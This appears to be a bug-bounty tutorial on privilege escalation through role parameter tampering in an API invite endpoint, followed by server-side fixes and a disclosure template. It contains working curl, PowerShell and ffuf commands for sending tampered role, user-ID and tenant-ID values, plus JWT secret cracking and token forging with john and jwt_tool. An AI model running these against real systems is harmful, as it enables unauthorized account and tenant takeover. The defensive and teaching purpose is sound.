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Introduction:
Broken Access Control (BAC) remains the most critical API security risk according to OWASP API Top 10, often enabling attackers to escalate privileges simply by tampering with JSON parameters. A recent real-world bug bounty report demonstrated this perfectly: changing the `”role”:”admin”` field to `”role”:”SuperAdmin”` in a `POST /api/users/invite/` request granted unauthorized superadmin privileges, yielding a €250 reward within an 8-hour fix window.
Learning Objectives:
- Understand how to identify and exploit insecure direct object references (IDOR) and role manipulation flaws in REST API endpoints.
- Learn practical parameter tampering techniques using Burp Suite, curl, and custom fuzzing scripts across Linux and Windows.
- Master mitigation strategies including server-side role validation, least privilege principles, and secure API hardening.
You Should Know:
- Anatomy of the Vulnerability: Parameter Tampering in Invite Endpoints
The core issue lies in trusting client-supplied data without server-side enforcement. In the reported case, the endpoint `POST /api/users/invite/` expected a JSON payload like {"email":"[email protected]", "role":"admin"}. By intercepting and modifying the request to {"email":"[email protected]", "role":"SuperAdmin"}, the server accepted the escalated role because it lacked proper validation against the authenticated user’s actual privileges.
Step‑by‑step guide to understand the flow:
- Normal request: Admin user invites another admin – server checks if requester has `admin` role, then creates invite with
role: admin. - Malicious request: Attacker changes `role` value to a higher-privilege string (
SuperAdmin,root,global_admin, etc.). - Vulnerable server: Accepts the new role without verifying that the requester can assign that role.
Linux command to simulate a basic invite request using curl:
curl -X POST https://target.com/api/users/invite/ \
-H "Authorization: Bearer <valid_admin_token>" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","role":"admin"}'
Change `role` to `SuperAdmin` and observe response status. A 200 or 201 indicates vulnerability.
2. Exploitation Walkthrough: From Admin to SuperAdmin
To replicate the exploit ethically (e.g., on a test environment or bug bounty program), follow these steps using Burp Suite or command-line tools.
Using Burp Suite (GUI approach):
- Capture the `POST /api/users/invite/` request in Burp Proxy.
2. Send it to Repeater (Ctrl+R).
- Modify the JSON body: replace `”role”:”admin”` with
"role":"SuperAdmin". - Click “Send” and inspect the response – if the invite is created with superadmin privileges, the bug is confirmed.
Using curl on Linux (command-line):
curl -X POST https://target.com/api/users/invite/ \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","role":"SuperAdmin"}' \
-v
Using PowerShell on Windows (Invoke-RestMethod):
$body = @{email="[email protected]"; role="SuperAdmin"} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/users/invite/" -Method Post -Headers @{Authorization="Bearer <token>"} -Body $body -ContentType "application/json"
Expected vulnerable response: `{“success”:true, “invite_id”:123, “role”:”SuperAdmin”}` or a 200 OK without role validation errors.
- Tools of the Trade: Configuring Fuzzing for Role Parameters
Automated fuzzing helps discover hidden role values beyond `admin` and SuperAdmin. Use these configurations to expand the attack surface.
Burp Suite Intruder setup:
- Position payload on the `role` value.
- Payload list:
admin,superadmin,SuperAdmin,root,global_admin,administrator,owner,sysadmin,SuperUser,auditor,support. - Grep match for strings like
"role":","privilege","isAdmin":true, or HTTP 200/201/403 variations.
Using ffuf on Linux for role enumeration:
ffuf -u https://target.com/api/users/invite/ \
-X POST \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","role":"FUZZ"}' \
-w roles.txt \
-mr '"success":true' \
-fc 400,401,403
Sample `roles.txt` file content:
admin SuperAdmin superadmin root owner auditor support moderator guest viewer editor publisher analyst
- Mitigation & Secure Coding: How to Fix Role-Based Invite Flaws
The vulnerability arises from missing server-side checks. Below are secure coding patterns to prevent this.
Server-side validation (Node.js/Express example):
app.post('/api/users/invite', authenticateToken, (req, res) => {
const { email, role } = req.body;
const requesterRole = req.user.role; // from verified JWT
// Allowed roles that the requester can assign (least privilege)
const allowedRoles = getAssignableRoles(requesterRole);
if (!allowedRoles.includes(role)) {
return res.status(403).json({ error: 'Cannot assign this role' });
}
// Create invite with role
});
Python (Flask) with enum validation:
from enum import Enum
class Role(Enum):
USER = "user"
ADMIN = "admin"
SUPERADMIN = "superadmin"
ALLOWED_ASSIGNMENTS = {
Role.ADMIN: [Role.USER, Role.ADMIN],
Role.SUPERADMIN: [Role.USER, Role.ADMIN, Role.SUPERADMIN]
}
@app.route('/api/users/invite', methods=['POST'])
@jwt_required()
def invite_user():
requester_role = get_jwt_identity()['role']
target_role = request.json.get('role')
if target_role not in [r.value for r in ALLOWED_ASSIGNMENTS[Role(requester_role)]]:
return jsonify({"error": "Forbidden"}), 403
Database-level fix: Never store role assignments from client input; derive them from the authenticated session’s permissions.
5. Advanced Privilege Escalation Vectors Beyond Roles
Role manipulation is just one vector. Extend your testing to other IDOR patterns.
JWT tampering: If roles are stored in JWT tokens, test for algorithm confusion or weak secrets.
Crack JWT secret with john john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 Modify token payload using jwt_tool jwt_tool <token> -T -S hs256 -p "secret"
Manipulating user IDs in invite endpoints:
POST /api/users/invite/ HTTP/1.1
{"email":"[email protected]", "role":"admin", "invited_by":"<attacker_id>"}
Change `invited_by` to another user’s ID to impersonate an admin invite.
Tenant/org ID bypass: For multi-tenant apps, try changing `”org_id”:1` to `”org_id”:2` to invite users into another organization.
- Cloud & API Hardening: Implementing RBAC and Gateway Rules
To prevent such flaws in production, enforce role-based access control (RBAC) at multiple layers.
AWS API Gateway with Lambda authorizer:
- Configure a custom authorizer that validates the JWT and extracts the user’s role.
- Attach a resource policy that denies `POST /invite` unless the `role` claim matches a whitelist.
Azure API Management policy example:
<inbound>
<validate-jwt header-name="Authorization" failed-status-code="401">
<required-claims>
<claim name="role" match="any">
<value>admin</value>
<value>superadmin</value>
</claim>
</required-claims>
</validate-jwt>
<set-variable name="requestRole" value="@(context.Request.Body.As<JObject>()["role"])" />
<choose>
<when condition="@((string)context.Variables["requestRole"] == "SuperAdmin" && context.User.Claims.GetValueOrDefault("role") != "superadmin")">
<return-response>
<set-status code="403" reason="Forbidden" />
</return-response>
</when>
</choose>
</inbound>
Linux hardening for API servers:
Run API with least-privileged user sudo useradd -r -s /bin/false api_user sudo chown -R api_user:api_user /opt/api Use AppArmor or SELinux to restrict process capabilities sudo aa-enforce /etc/apparmor.d/usr.bin.node
- Reporting & Responsible Disclosure: From Finding to €250 Reward
The original finder reported the issue and received a bounty within 8 hours. Follow this template for professional disclosure.
Bug report template:
- Privilege Escalation via Role Parameter Tampering in `/api/users/invite/`
– Severity: High (CVSS 8.2 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) - Steps to reproduce:
- Log in as a user with `admin` role.
2. Capture invite request to `POST /api/users/invite/`.
3. Change JSON `role` from `admin` to `SuperAdmin`.
4. The invitee receives superadmin privileges.
- Impact: Unauthorized privilege escalation allows complete system compromise.
- Fix: Implement server-side role validation as shown above.
Timeline negotiation: Request a 90-day disclosure window and confirm bounty amount upfront. For this case, €250 for an 8-hour fix is reasonable for a medium-severity issue.
What Undercode Say:
- Never trust client-side role parameters – always enforce role assignment policies on the server, using enums or database lookups.
- Automated fuzzing pays off – a simple wordlist of role names discovered this flaw; always extend testing to non‑standard strings like
SuperAdmin,root, orglobal_administrator. - Short fix windows are achievable – the 8-hour turnaround shows that with proper API security awareness, critical patches can be deployed rapidly.
- Bounties reward creativity – even a “basic” parameter change can earn real money; always test every input field in every endpoint.
- Beyond roles, check IDs and tenants – the same methodology applies to user_id, org_id, and any client‑controlled privilege indicator.
Prediction:
As API‑driven architectures dominate cloud and mobile applications, automated AI‑powered fuzzers will soon scan for role and privilege manipulation in real time, drastically reducing manual bug hunting. However, this will also force security teams to adopt zero‑trust API gateways and runtime self‑protection (RASP) that detect anomalous role assignments. Expect the OWASP API Top 10 to elevate “Broken Function Level Authorization” to the 1 spot, driving widespread adoption of declarative RBAC policies and automated API security testing in CI/CD pipelines. The €250 bounty is a harbinger – tomorrow’s payouts for similar flaws will drop as tools catch up, but manual logic flaws will become even more valuable.
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IT/Security Reporter URL:
Reported By: Shivangmauryaa Bounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
